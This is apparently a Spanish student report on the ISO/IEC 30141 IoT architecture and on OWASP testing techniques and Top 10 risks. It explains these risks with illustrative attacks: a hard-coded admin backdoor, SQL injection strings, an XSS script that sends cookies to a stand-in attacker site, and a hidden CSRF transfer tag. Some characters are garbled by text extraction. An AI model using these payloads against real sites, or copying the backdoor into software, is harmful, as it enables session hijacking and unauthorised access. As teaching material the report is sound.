Trabajo_Seguridad

Vista previa del material en texto

UNIVERSIDAD ESTATAL 
PENÍNSULA DE SANTA ELENA
FACULTAD DE SISTEMAS Y TELECOMUNICACIONES
SEGURIDAD DE TI
INVESTIGACIÓN
ESTUDIANTES:
RODRIGUEZ ALEJANDRO DANNY PAUL
CATUTO MALAVE JOSTHIN
TIGREO ESCALANTE RAQUEL
CARRERA:
TECNOLOGÍAS DE LA INFORMACIÓN
SEMESTRE:
7/1
PERIODO:
2021-1
NORMA ISO 30141 – IOT
INTRODUCCIÓN
IoT tiene un amplio uso en la industria y la sociedad actual y seguirá desarrollándose durante muchos años. Varias aplicaciones y servicios de IoT han adoptado técnicas de IoT para proporcionar capacidades que no eran posibles hace unos años. IoT es una de las áreas más dinámicas y emocionantes de las TIC. Implica la conexión de Entidades Físicas ("cosas") con sistemas de TI a través de redes. Fundamental para IoT son los dispositivos electrónicos que interactúan con el mundo físico. Los sensores recopilan la información sobre el mundo físico, mientras que los actuadores pueden actuar sobre las entidades físicas. Tanto los sensores como los actuadores pueden tener muchas formas, como termómetros, acelerómetros, cámaras de video, micrófonos, relés, calentadores o equipos industriales para la fabricación o el control de procesos. Tecnología móvil, computación en la nube, big data y análisis profundo (predictivo,
IoT se puede integrar en tecnologías existentes. Las mediciones en tiempo real generadas al agregar sensores a la tecnología existente pueden mejorar su funcionalidad y reducir el costo de las operaciones (por ejemplo, las señales de tráfico inteligentes pueden adaptarse a las condiciones del tráfico, reduciendo la congestión y la contaminación del aire). Los datos generados por los sensores de IoT pueden respaldar nuevos modelos comerciales y adaptar productos y servicios a los gustos y necesidades del cliente. Además de las aplicaciones, la tecnología debe respaldar la supervisión y adaptación del propio sistema de IoT.
Varios pronósticos indican que IoT conectará 50 mil millones de dispositivos en todo el mundo para el año 2020. Hay una serie de posibles áreas de aplicación, como ciudad inteligente, red inteligente, hogar / edificio inteligente, agricultura digital, fabricación inteligente, sistema de transporte inteligente, e- Salud. IoT es una tecnología habilitadora que consta de muchas tecnologías de apoyo, por ejemplo, diferentes tipos de tecnologías de redes de comunicación, tecnologías de la información, tecnologías de detección y control, tecnologías de software, tecnologías de dispositivos / hardware. Este documento se basa en tecnologías habilitadoras ampliamente utilizadas que se definen en estándares de varias organizaciones como ISO, IEC, ITU, IETF, IEEE, ETSI, 3GPP, W3C, etc.
La confiabilidad se reconoce como un área de importancia, y el IoT puede aprovechar las mejores prácticas actuales y futuras. Por ejemplo, monitorear y analizar los sistemas de IoT implementados es esencial para mantener la confiabilidad y la seguridad. Medidas como el acceso controlado pueden garantizar la seguridad del sistema.
ISO/IEC 30141 – IOT
El estándar ISO/IEC 30141, fue publicado en el 2018, como la primera arquitectura de referencia para el mundo de IoT; desde entonces se estableció un centro de desarrollo para sectores de rápida expansión, ya que además se observó la necesidad de estandarizar rápidamente esta tecnología pues se presentaron ataques importantes que demostraron que era indispensable contar con normativas, debido a que IoT se encuentra presente en sectores doméstico, industriales, sanitarios y agrícolas, y es la simplicidad de estos dispositivos lo que genera tanto desafíos como oportunidades. 
Esta revisión sistemática va dirigida a quienes deseen conocer, interactuar y enfocar por medio de síntesis la seguridad del estándar ISO/IEC 30141, teniendo la oportunidad de ampliar el entendimiento y adquirir modelos que pueden ser aplicados, para de esta forma hallar así el mejoramiento continuo y la eficacia de los distintos procesos, garantizando respaldo y vigilancia de la información, para finalmente tener un escudo el cual nos permita protegernos constantemente de las amenazas y vulnerabilidades que a diario se presentan.
La norma ISO/IEC 30141 sobre Internet de las Cosas (IoT) – Arquitectura de Referencia, proporciona un vocabulario común para diseñar y desarrollar aplicaciones de Internet de las Cosas. Con ello, se quiere reforzar la seguridad y la protección, permitiendo desplegar sistemas fiables y respetuosos tanto con la privacidad como a la hora de afrontar un ciberataque.
La aparición de la norma ISO/IEC 30141 está directamente vinculada al avance de la tecnología y la transformación digital. De esta manera, tanto vehículos como agricultura, sanidad, industria o ciudad, tienen presente el Internet de las Cosas (IoT), y cada vez es más fácil encontrarlo en cualquier aspecto, incluso en lo más cotidiano.
Y es en este último sentido, en el que está el mayor avance actual: integración de los objetos cotidianos con los sistemas informáticos, de manera que los dispositivos electrónicos interactúan con el mundo físico, sin ser necesaria la intervención de las personas.
Las normas para la Internet de las Cosas establecen una base común con respecto a temas como la terminología o las arquitecturas de referencia que ayudarán a los desarrolladores de productos a desplegar un ecosistema interoperable. ISO/IEC 30141 proporciona una base y un marco de referencia para las muchas normas aplicables producidas por JTC 1/SC 41. "Vimos la necesidad de una arquitectura de referencia para maximizar los beneficios y reducir los riesgos", explica Coallier, que preside el subcomité de la ISO. Otra norma fundamental es ISO/IEC 20924, Tecnología de la información - Internet de las Cosas (IoT) - Definición y vocabulario. "Es importante que los que trabajan con la IoT hablen el mismo idioma", añade Coallier. ISO/IEC 20924 e ISO/IEC 30141 proporcionan el lenguaje necesario. 
El grupo de trabajo que desarrolló la norma ISO/IEC 30141 fue dirigido por el Dr. Jie Shen de China, apoyado por dos coeditores: Wei Wei de Alemania y Östen Frånberg de Suecia. Colectivamente, los líderes de proyecto tienen muchas décadas de experiencia en el campo, reforzada por más de 50 especialistas que contribuyeron directamente a la norma. "Hay muchos riesgos y oportunidades con la IoT", informa el Dr. Jie Shen, añadiendo que "necesitamos diseñar el mecanismo de mantenimiento perfecto para superar estos riesgos; esto en sí mismo es una cuestión de detalle".
Gran parte de los detalles ya se encuentran en las numerosas normas publicadas por los subcomités del JTC 1, e ISO/IEC 30141 proporciona una arquitectura de referencia para fusionarlas todas, junto con varias normas nuevas que el JTC 1/SC 41 está desarrollando. "La ISO/IEC 30141 proporciona un marco común para los diseñadores y desarrolladores de la IoT", explica Coallier. "La norma describe las principales características de la IoT, junto con un modelo conceptual y una arquitectura de referencia", añade. Las descripciones van acompañadas de numerosos ejemplos.
ISO/IEC 30141 y la normalización del Internet de las Cosas (IoT)
En la actualidad, los avances en cuanto a tecnología están teniendo una doble repercusión a nivel de empresa. Es decir, mientras genera ingresos y nuevas oportunidades que deben aprovecharse, también aparecen nuevas vulnerabilidades que hay que saber gestionar.
Es por ello, que la Organización Internacional de Normalización (ISO) ha desarrollado la norma ISO/IEC 30141, para buscar la manera de garantizar la seguridad, confianza y una base tecnológica con medidas y sistemas robustos.
Este estándar de carácter internacional, proporciona una arquitectura de referencia de IoT, que incluye las mejores prácticas del sector a nivel internacional, así como un vocabulario común, y diseños reutilizables. Más específicamente, proporciona un marco común para los desarrolladores y diseñadores de aplicaciones de IoT
Ejemplo 
Las contraseñas débiles, las redes o interfaces inseguras, los mecanismos de actualización, insuficiencia deprotección de la privacidad, almacenamiento inadecuando, o transferencia de información sin ningún tipo de encriptación, falta de controles o configuraciones por defecto, son algunos de las mayores falencias en cuanto a seguridad en estos dispositivos IoT, pues gracias a ello se encuentran día a día más vulnerabilidades que podrían aprovecharse por ciber-delincuentes.
En el 2018 se conoció el caso en el consejo de CEO’s en Londres, de un casino que fue víctima de un ciberataque pues fue aprovechada una vulnerabilidad de un termómetro inteligente de un acuario ubicado en el lobby, logrando infiltrase en la red, y acceder a la base de datos del casino. Con este ataque se robó información con nombres de apostadores, para posteriormente publicarla en la nube.
Otro importante caso se presentó en un banco cuando por medio de sus cámaras CCTV se atacó la entidad.
OWASP Seguridad de las aplicaciones web
¿Qué es owasp?
Open Web Application Security Project (OWASP) por sus siglas en ingles es una organización sin fines de lucro a nivel mundial la cual se dedica a mejorar la seguridad de las aplicaciones y del software en general. Su misión es hacer que la seguridad dentro de las aplicaciones sea más visible para que, así, las organizaciones y los particulares puedan tomar decisiones sobre conceptos de seguridad basándose en información verídica y contrastada.
Todas las herramientas de OWASP, documentos, foros, y capítulos son gratuitas y abiertas a cualquiera interesado en mejorar la seguridad en aplicaciones. Abogamos por resolver la seguridad en aplicaciones como un problema de personas, procesos y tecnología, ya que los enfoques más efectivos para la seguridad en aplicaciones requieren mejoras en todas estas áreas.
En septiembre del año 2014 se lanzó la última guía para pruebas de OWASP, llamada "OWASP Testing Guide v4":
El proyecto de pruebas OWASP ha sido desarrollado durante muchos años. El objetivo del proyecto es ayudar a las personas a entender el qué, por qué, cuándo, dónde y cómo de la prueba de las aplicaciones web.
Explicación de las técnicas de prueba 
Esta sección presenta un resumen de alto nivel de diferentes técnicas de prueba que se pueden emplear al crear un programa de pruebas. No presenta metodologías específicas para estas técnicas ya que esta información está cubierta en el capítulo 3. Esta sección se incluye para proporcionar un contexto para el marco de referencia que se presenta en el próximo capítulo y para resaltar las ventajas y desventajas de algunas de las técnicas que se deben considerar. En particular, cubrimos:
1. Inspecciones y Revisiones Manuales 
2. Modelado de Amenazas 
3. Revisión de Código 
4. Pruebas de Penetración
1. Inspecciones y Revisiones Manuales 
Las inspecciones manuales son revisiones realizadas por humanos, que prueban típicamente las implicaciones de seguridad de las personas, políticas y procesos. Las inspecciones manuales también pueden incluir la verificación de las decisiones de tecnología tales como diseños arquitectónicos. Generalmente se realizan analizando documentación o realizando entrevistas con los diseñadores o dueños del sistema. Aunque el concepto de inspecciones manuales y revisiones humanas es simple, estas pueden estar entre las técnicas disponibles más poderosas y eficaces. Preguntando a alguien cómo funciona algo y por qué se aplicó de una manera específica, el evaluador puede determinar rápidamente si alguna duda de seguridad es evidente. Las revisiones y controles manuales son algunas de las contadas maneras para probar el proceso mismo del ciclo de vida de desarrollo del software y para asegurar que existe una adecuada política o habilidad.
Como con muchas cosas en la vida, al realizar inspecciones manuales y revisiones, es recomendable adoptar un modelo de "confíe, pero verifique". No todo lo que el evaluador muestre o diga será preciso. Las revisiones manuales son particularmente buenas para probar si las personas entienden el proceso de seguridad, han sido concientizadas sobre la política y tienen las habilidades apropiadas para diseñar o implementar una aplicación segura. Otras actividades, como revisar manualmente la documentación, políticas de codificación seguras, requisitos de seguridad y diseños arquitectónicos, deben ser cumplidas mediante una inspección manual.
Ventajas:
• No requieren de tecnología de apoyo.
• Se pueden aplicar a una variedad de situaciones.
• Son flexibles.
• Promueven el trabajo en equipo.
• Se inician temprano en el SDLC.
Desventajas:
• Pueden desperdiciar el tiempo.
• El material de apoyo material no siempre está disponible.
• Requieren significativamente del pensamiento humano y la habilidad para ser eficaces.
2. Creación de modelos de amenazas 
La creación de modelos de amenazas se ha convertido en una técnica popular para ayudar a los diseñadores de sistemas a pensar sobre las amenazas de seguridad que podrían enfrentar sus sistemas y aplicaciones. Por lo tanto, la creación de modelos de amenazas puede verse como la evaluación de riesgo para las aplicaciones. De hecho, permite al diseñador desarrollar estrategias de mitigación para las vulnerabilidades potenciales y les ayuda a focalizar su inevitable escasez de recursos y atención en las partes del sistema que más lo requiere. Se recomienda que todas las aplicaciones tengan un modelaje de amenazas desarrollado y documentado. Los modelos de amenazas deben crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona la aplicación y el desarrollo progresa.
Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque simple que sigue el estándar NIST 800-30 [11] de evaluación del riesgo. Este enfoque implica:
Descomposición de la aplicación - utilice un proceso de inspección manual para entender cómo funciona la aplicación, sus activos, funcionalidad y conectividad. • Definir y clasificar los activos – clasifique los activos en tangibles e intangibles y ordénelos según la importancia del negocio. 
• Explorar posibles vulnerabilidades - sean técnicas, operacionales o de administración. 
• Explorar posibles amenazas - desarrolle una visión realista de los posibles vectores de ataque desde la perspectiva de un atacante, mediante el uso de escenarios de amenaza o árboles de ataque. 
• Crear estrategias de mitigación - desarrollando controles de mitigación para cada una de las amenazas consideradas realistas.
Ventajas:
• Vista práctica del sistema desde el punto de vista del atacante.
• Flexible
• Se inicia temprano en el SDLC.
Desventajas:
• Técnica relativamente nueva.
• Buenos modelos de amenazas no significan automáticamente buenas aplicaciones.
3. Revisión de código fuente 
La revisión del código fuente es el proceso de comprobar manualmente el código fuente de una aplicación web por cuestiones de seguridad. Muchas vulnerabilidades serias de seguridad no pueden ser detectadas mediante otra forma de análisis o pruebas. Como dice el dicho popular "Si usted quiere saber lo que realmente está pasando, vaya directamente a la fuente". Casi todos los expertos en seguridad están de acuerdo en que no existe un sustituto para revisar el código. 
Toda la información para identificar problemas de seguridad existe en alguna parte del código. A diferencia de las pruebas de software cerrado externo, tales como los sistemas operativos, al probar aplicaciones web (sobre todo si han sido desarrolladas en la empresa), el código fuente debe estar disponible para propósitos de prueba. Muchos problemas de seguridad no intencionales, pero significativos, son también extremadamente difíciles de descubrir mediante otras formas de análisis o pruebas, como las pruebas de penetración; hacen del análisis de código fuente la técnica elegida para la prueba técnica. 
Con el código fuente, un evaluador puede determinar con precisión lo que está sucediendo (o se supone que sucede) y eliminar la conjetura de la prueba de Caja Negra. Ejemplos de temas que son especialmente propicios para ser encontrados a travésde revisiones de código fuente incluyen problemas de concurrencia, lógica de negocio imperfecto, problemas de control de acceso y debilidades criptográficas, así como puertas traseras, troyanos, huevos de pascua, bombas de tiempo, bombas lógicas y otras formas de código malicioso. 
Estos problemas a menudo se manifiestan como las más nefastas vulnerabilidades en sitios web. El análisis de código fuente también puede ser extremadamente eficiente para encontrar problemas de implementación tales como lugares donde no se realizó la validación de entrada o cuando los procedimientos de control abierto de fallas pueden estar presentes. Pero tenga en cuenta qué los procedimientos operacionales deben revisarse, ya que el código fuente que está implementando no sería el mismo que el analizado en este documento.
Ventajas:
• Finalización y efectividad.
• Precisión.
• Es rápida (para correctores competentes).
Desventajas:
• Requiere de desarrolladores expertos de seguridad.
• Puede saltarse temas en bibliotecas compiladas.
• No puede detectar fácilmente errores de tiempo de ejecución.
• El código fuente desplegado puede diferir del que se analiza
4. Pruebas de penetración 
Las pruebas de penetración han sido, por muchos años, una técnica común utilizada para probar la seguridad de la red. También se las conoce comúnmente como pruebas de Caja Negra o piratería (hacking) ética. Las pruebas de penetración son esencialmente el "arte" de probar una aplicación en ejecución remotamente para encontrar vulnerabilidades de seguridad, sin saber el funcionamiento interno de la aplicación. Por lo general, el equipo de pruebas de penetración tendría acceso a una aplicación como si fuera usuario. El evaluador actúa como un intruso e intenta encontrar y explotar vulnerabilidades. En muchos casos, al evaluador se le dará una cuenta válida en el sistema.
Mientras que las pruebas de penetración han demostrado ser eficaces en la seguridad de la red, la técnica no se traduce naturalmente a las aplicaciones. Cuando se realizan pruebas de penetración en redes y sistemas operativos, la mayoría del trabajo está relacionado con encontrar y luego explotar vulnerabilidades conocidas en tecnologías específicas. Como las aplicaciones web son básicamente hechas a la medida, las pruebas de penetración en el campo de las aplicaciones web son más parecidas a la investigación pura. Se han desarrollado herramientas de pruebas de penetración que automatizan el proceso, pero por la naturaleza de las aplicaciones web, su eficacia es generalmente pobre.
Muchas personas utilizan hoy en día las pruebas de penetración como su técnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en un programa de pruebas, no creemos que debe ser considerada como la técnica principal o la única. Gary McGraw resumió bien a las pruebas de penetración cuando dijo: "Si fallas una prueba de penetración, sabes que tienes un problema muy malo en verdad. Si pasas una prueba de penetración, no sabes si tienes un problema muy malo". Sin embargo, las pruebas de penetración focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas y detectadas en revisiones anteriores) pueden ser útiles en la detección si realmente se arreglan algunas vulnerabilidades específicas en el código desplegado en el sitio web.
Ventajas:
• Puede ser rápida (y por lo tanto económica).
• Requiere de un conjunto de habilidades relativamente inferior al requerido
para revisión de código fuente.
• Prueba el código que realmente se está exponiendo.
Desventajas:
• Se realiza demasiado tarde en el SDLC.
• Es solamente una prueba de impacto frontal.
Una nota acerca de los escáneres de aplicaciones Web:
Muchas organizaciones han empezado a utilizar escáneres de aplicaciones web automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, algunos temas fundamentales deben ser resaltados porque se cree que las pruebas de Caja Negra automatizadas no son (o serán algún día) eficaces. Sin embargo, destacar estos temas no debería desalentar el uso de los escáneres de aplicación web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, así, los marcos de pruebas se planeen adecuadamente. Importante: OWASP actualmente está trabajando para desarrollar una plataforma de escaneo mediante una evaluación comparativa. Los ejemplos siguientes muestran por qué las pruebas automatizadas de Caja Negra son ineficaces.
'Ejemplo 1: Los parámetros mágicos' 
Imagine una aplicación web simple que acepte un par nombre-valor de "magia" y luego el valor. Para simplificar, la solicitud GET puede ser: http://www.host/application?magic=value 
Para simplificar más el ejemplo, los valores en este caso solo pueden ser caracteres ASCII a-z (mayúsculas o minúsculas) y números enteros 0 – 9. Los diseñadores de esta aplicación crearon una puerta trasera de administración durante la prueba, pero la ofuscaron para evitar que un observador casual pueda descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el usuario, entonces, se conectará y tendrá una pantalla administrativa con el control total de la aplicación. La solicitud HTTP es ahora: http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d 
Dado que todos los otros parámetros fueron campos simples de dos y tres caracteres, no es posible adivinar combinaciones de aproximadamente 28 caracteres. Se necesitaría la fuerza bruta de un escáner de aplicaciones web (o adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^ 28 permutaciones, o trillones de peticiones HTTP. 
Esto es un electrón en un pajar digital. La verificación del código de este parámetro mágico ejemplar puede verse a continuación:
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
boolean admin = magic.equals( request.getParameter(“magic”));
if (admin) doAdmin( request, response);
else …. // normal processing
Mirando el código, la vulnerabilidad prácticamente salta de la página como un problema potencial.
Ejemplo 2: Mala criptografía 
La criptografía es ampliamente utilizada en aplicaciones web. Imagine que un desarrollador decidió escribir un algoritmo de criptografía simple para autenticar un usuario desde el sitio A al sitio B automáticamente. En su sabiduría, el desarrollador decide que, si un usuario está conectado en el sitio A, entonces generará una clave utilizando una función de hash MD5 que comprende: Hash {username: fecha}.
Cuando un usuario se pasa al sitio B, él o ella le enviará la clave en la cadena de consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente calcula el valor hash y compara con el hash pasado en la petición. Si coinciden, el sitio B autentica al usuario como dice ser.
Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda el esquema (o se le diga cómo funciona, o descargue la información de Bugtraq) puede iniciar una sesión como cualquier usuario. La inspección manual, como una revisión o inspección de código, habría descubierto rápidamente este problema de seguridad. Un escáner de aplicaciones web de Caja Negra no habría descubierto la vulnerabilidad. Habría visto un hash de 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no cambió en una manera predecible.
OWASP Top 10 de Riesgos de Seguridad en Aplicaciones
1. Inyección
Las fallas de inyección, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son enviados a un intérprete como parte de un comando o consulta. Los datos hostiles del atacante pueden engañar al interprete en ejecutar comandos no intencionados o acceder datos no autorizados.
¿Soy Vulnerable? 
La mejor manera de averiguar si una aplicación es vulnerable a una inyección es verificar que en todo uso de intérpretes se separa la información no confiable del comando o consulta. Para llamados SQL, esto significa usar variables parametrizadas en todas las sentencias preparadas(prepared statements) y procedimientos almacenados, evitando las consultas dinámicas. Verificar el código es una manera rápida y precisa para ver si la aplicación usa intérpretes de manera segura. Herramientas de análisis de código pueden ayudar al analista de seguridad a ver como se utilizan los intérpretes y seguir el flujo de datos a través de la aplicación. Los testadores pueden validar estos problemas al crear pruebas que confirmen la vulnerabilidad. El análisis dinámico automatizado, el cual ejercita la aplicación puede proveer una idea de si existe alguna inyección explotable. Los analizadores automatizados no siempre pueden alcanzar a los intérpretes y se les dificulta detectar si el ataque fue exitoso. Un manejo pobre de errores hace a las inyecciones fáciles de descubrir.
¿Cómo prevenirlo?
 Evitar una inyección requiere mantener los datos no confiables separados de los comandos y consultas. 
1. La opción preferida es usar una API segura la cual evite el uso de intérpretes por completo o provea una interface parametrizada. Sea cuidadoso con las APIs, como los procedimientos almacenados, que son parametrizados, pero que aún pueden introducir inyecciones en el motor del interprete.
 2. Si una API parametrizada no está disponible, debe codificar cuidadosamente los caracteres especiales, usando la sintaxis de escape específica del intérprete. OWASP ESAPI provee muchas de estas ru=nas de codificación. 
3. La validación de entradas positiva o de "lista blanca" también se recomienda, pero no es una defensa integral dado que muchas aplicaciones requieren caracteres especiales en sus entradas. Si se requieren caracteres especiales, solo las soluciones anteriores 1. y 2. harían su uso seguro. La ESAPI de OWASP tiene una librería extensible de rutinas de validación positiva.
Ejemplos de Escenarios de Ataques 
Escenario #1: 
La aplicación usa datos no confiables en la construcción de la siguiente instrucción SQL vulnerable: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 
Escenario #2:
 De manera similar, si una aplicación confía ciegamente en el framework puede resultar en consultas que aún son vulnerables, (ej., Hibernate Query Language (HQL)): Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'"); En ambos casos, al atacante modificar el parámetro ‘id’ en su navegador para enviar: ' or '1'='1. Por ejemplo: hvp://example.com/app/accountView?id=' or '1'='1 Esto cambia el significado de ambas consultas regresando todos los registros de la tabla “accounts”. Ataques más peligrosos pueden modificar datos o incluso invocar procedimientos almacenados.
2. Pérdida de Autenticación y Gestión de Sesiones
Las funciones de la aplicación relacionadas a autenticación y gestión de sesiones son frecuentemente implementadas incorrectamente, permitiendo a los atacantes comprometer contraseñas, claves, token de sesiones, o explotar otras fallas de implementación para asumir la identidad de otros usuarios.
Ejemplos de Escenarios de Ataques 
Escenario #1: 
Aplicación de reserva de vuelos que soporta reescritura de URL poniendo los ID de sesión en la propia dirección: 
hvp://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV? destiHawaii Un usuario autenticado en el sitio quiere mostrar la oferta a sus amigos. Envía por correo electrónico el enlace anterior, sin ser consciente de que está proporcionando su ID de sesión. Cuando sus amigos utilicen el enlace utilizarán su sesión y su tarjeta de crédito.
 Escenario #2:
 No se establecen correctamente los tiempos de expiración de la sesión en la aplicación. Un usuario u=liza un ordenador público para acceder al sitio. En lugar de cerrar la sesión, cierra la pestaña del navegador y se marcha. Un atacante utiliza el mismo navegador al cabo de una hora, y ese navegador todavía se encuentra autenticado. Escenario #3: Un atacante interno o externo a la organización, consigue acceder a la base de datos de contraseñas del sistema. Las contraseñas de los usuarios no se encuentran cifradas, exponiendo todas las contraseñas al atacante.
3. Secuencia de Comandos en Sitios Cruzados (XSS)
Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el navegador de la víctima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.
Ejemplos de escenarios de Ataques 
La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin validarlos o codificarlos: (String) page += ""; El atacante modifica el parámetro “CC” en el navegador: 
'><script>document.locaCon='hvp://www.avacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'. Esto causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante, permitiendo al atacante secuestrar la sesión actual del usuario. Notar que los atacantes pueden también utilizar XSS para anular cualquier defensa CSRF que la aplicación pueda utilizar. Ver A8 para información sobre CSRF.
4. Referencia Directa Insegura a Objetos
Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de implementación interno, tal como un fichero, directorio, o base de datos. Sin un chequeo de control de acceso u otra protección, los atacantes pueden manipular estas referencias para acceder datos no autorizados.
Ejemplos de escenarios de ataques 
La aplicación utiliza datos no verificados en una llamada SQL que accede a información sobre la cuenta: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connecCon.prepareStatement(query,… ); pstmt.setString( 1, request.getparameter("acct")); ResultSet results = pstmt.executeQuery( ); Si el atacante modifica el parámetro “acct” en su navegador para enviar cualquier número de cuenta que quiera. Si esta acción no es verifica, el atacante podría acceder a cualquier cuenta de usuario, en vez de a su cuenta de cliente correspondiente. hvp://example.com/app/accountInfo?acct=notmyacct
5. Configuración de Seguridad Incorrecta
Una buena seguridad requiere tener definida e implementada una configuración segura para la aplicación, marcos de trabajo, servidor de aplicación, servidor web, base de datos, y plataforma. Todas estas configuraciones deben ser definidas, implementadas, y mantenidas ya que por lo general no son seguras por defecto. Esto incluye mantener todo el soNware actualizado, incluidas las librerías de código utilizadas por la aplicación.
Ejemplos de escenarios de Ataque 
Escenario #1: 
La consola de administrador del servidor de aplicaciones se instaló automáticamente y no se ha eliminado. Las cuentas por defecto no se han modificado. Un atacante descubre las páginas por defecto de administración que están en su servidor, se conecta con las contraseñas por defecto y lo toma. 
Escenario #2: 
El listado de directorios no se encuentra deshabilitado en su servidor. El atacante descubre que puede simplemente listar directorios para encontrar cualquier archivo. El atacante encuentra y descarga todas sus clases compiladas de Java, las cuales decompila y realiza ingeniería inversa para obtener todo su código fuente. Encuentra un fallo serio de control de acceso en su aplicación. 
Escenario #3: 
La configuración del servidor de aplicaciones permite que se retornen la pila de llamada a los usuarios, exponiéndose potencialmente a fallos subyacentes. A los atacantes les encanta que les proporcionen información extra con los mensajes de errores. 
Escenario #4: 
El servidor de aplicaciones viene con aplicaciones de ejemplo que no se eliminaron del servidor de producción. Las aplicaciones de ejemplo pueden poseer fallos de seguridad bien conocidos que los atacantes pueden utilizar para comprometer su
6. Exposición de datos sensibles
Muchas aplicaciones web no protegen adecuadamente datossensibles tales como números de tarjetas de crédito o credenciales de autenticación. Los atacantes pueden robar o modificar tales datos para llevar a cabo fraudes, robos de identidad u otros delitos. Los datos sensibles requieren de métodos de protección adicionales tales como el cifrado de datos, así como también de precauciones especiales en un intercambio de datos con el navegador.
Ejemplos de escenarios de Ataques 
Escenario #1:
 Una aplicación cifra los números de tarjetas de crédito en una base de datos utilizando cifrado automático de la base de datos. Esto significa que también se descifra estos datos automáticamente cuando se recuperan, permitiendo por medio de una debilidad de inyección de SQL recuperar números de tarjetas en texto claro. El sistema debería cifrar dichos números usando una clave pública, y permitir solamente a las aplicaciones de back-end descifrarlo con la clave privada. 
Escenario #2: 
Un sitio simplemente no utiliza SSL para todas sus páginas que requieren autenticación. El atacante monitorea el tráfico en la red (como ser una red inalámbrica abierta), y obtiene la cookie de sesión del usuario. El atacante reenvía la cookie y secuestra la sesión, accediendo los datos privados del usuario. 
Escenario #3: 
La base de datos de claves usa hashes sin salt para almacenar las claves. Una falla en una subida de archivo permite a un atacante obtener el archivo de claves. Todas las claves pueden ser expuestas mediante una tabla rainbow de hashes precalculados.
7. Ausencia de Control de Acceso a Funciones
La mayoría de aplicaciones web verifican los derechos de acceso a nivel de función antes de hacer visible en la misma interfaz de usuario. A pesar de esto, las aplicaciones necesitan verificar el control de acceso en el servidor cuando se accede a cada función. Si las solicitudes de acceso no se verifican, los atacantes podrán realizar peticiones sin la autorización apropiada.
Ejemplos de Escenarios de Ataque 
Escenario #1:
 El atacante simplemente fuerza la navegación hacia las URLs objetivo. La siguiente URLs requiere autenticación. Los derechos de administrador también son requeridos para el acceso a la página “admin_getappInfo”. hvp://example.com/app/getappInfo hvp://example.com/app/admin_getappInfo Si un usuario no autenticado puede acceder a ambas páginas, eso es una vulnerabilidad. Si un usuario autenticado, no administrador, puede acceder a “admin_getappInfo”, también es una vulnerabilidad, y podría llevar al atacante a más páginas de administración protegidas inadecuadamente. 
Escenario #2: 
Una página proporciona un parámetro de “acción” para especificar la función que ha sido invocada, y diferentes acciones requieren diferentes roles. Si estos roles no se verifican al invocar la acción, es una vulnerabilidad.
8. Falsificación de Peticiones en Sitios Cruzados (CSRF)
Un ataque CSRF obliga al navegador de una víctima autenticada a enviar una petición HTTP falsificado, incluyendo la sesión del usuario y cualquier otra información de autenticación incluida automáticamente, a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la víctima para generar pedidos que la aplicación vulnerable piensa son peticiones legítimas provenientes de la víctima.
Ejemplos de Escenarios de Ataque 
La aplicación permite al usuario enviar una petición de cambio de estado no incluya nada secreto. Por ejemplo: hvp://example.com/app/transferFunds? amount=1500&desCnaConAccount=4673243243 De esta forma, el atacante construye una petición que transferirá el dinero de la cuenta de la víctima hacia su cuenta. Seguidamente, el atacante inserta su ataque en una e=queta de imagen o iframe almacenado en varios sitios controlados por él de la siguiente forma: <img src="hvp://example.com/app/transferFunds?amount=1500&desCnaConAccount=avackersAcct#“	width="0" height="0"	/> Si la víctima visita alguno de los sitios controlados por el atacante, estando ya autenticado en example.com, estas peticiones falsificadas incluirán automáticamente la información de la sesión del usuario, autorizando la petición del atacante.
9. Utilización de componentes con vulnerabilidades conocidas
Algunos componentes tales como las librerías, los frameworks y otros módulos de soNware casi siempre funcionan con todos los privilegios. Si se ataca un componente vulnerable esto podría facilitar la intrusión en el servidor o una perdida seria de datos. Las aplicaciones que u=licen componentes con vulnerabilidades conocidas debilitan las defensas de la aplicación y permiten ampliar el rango de posibles ataques e impactos.
Ejemplos de Escenarios de Ataques 
Los componentes vulnerables pueden causar casi cualquier tipo de riesgo imaginable, desde trivial a malware sofisticado diseñado para un objetivo específico. Casi siempre los componentes tienen todos los privilegios de la aplicación, debido a esto cualquier falla en un componente puede ser serio, Los siguientes componentes vulnerables fueron descargados 22M de veces en el 2011. 
• Apache CXF Authentication Bypass- Debido a que no otorgaba un token de identidad, los atacantes podían invocar cualquier servicio web con todos los permisos. (Apache CXF es un framework de servicios, no confundir con el servidor de aplicaciones de Apache.) • Spring Remote Code Execution – El abuso de la implementación en Spring del componente “Expression Languaje” permitió a los atacantes ejecutar código arbitrario, tomando el control del servidor. Cualquier aplicación que utilice cualquiera de esas bibliotecas vulnerables es susceptible de ataques. Ambos componentes son directamente accesibles por el usuario de la aplicación. Otras bibliotecas vulnerables, usadas ampliamente en una aplicación, puede ser más difíciles de explotar.
10. Redirecciones y reenvíos no validados
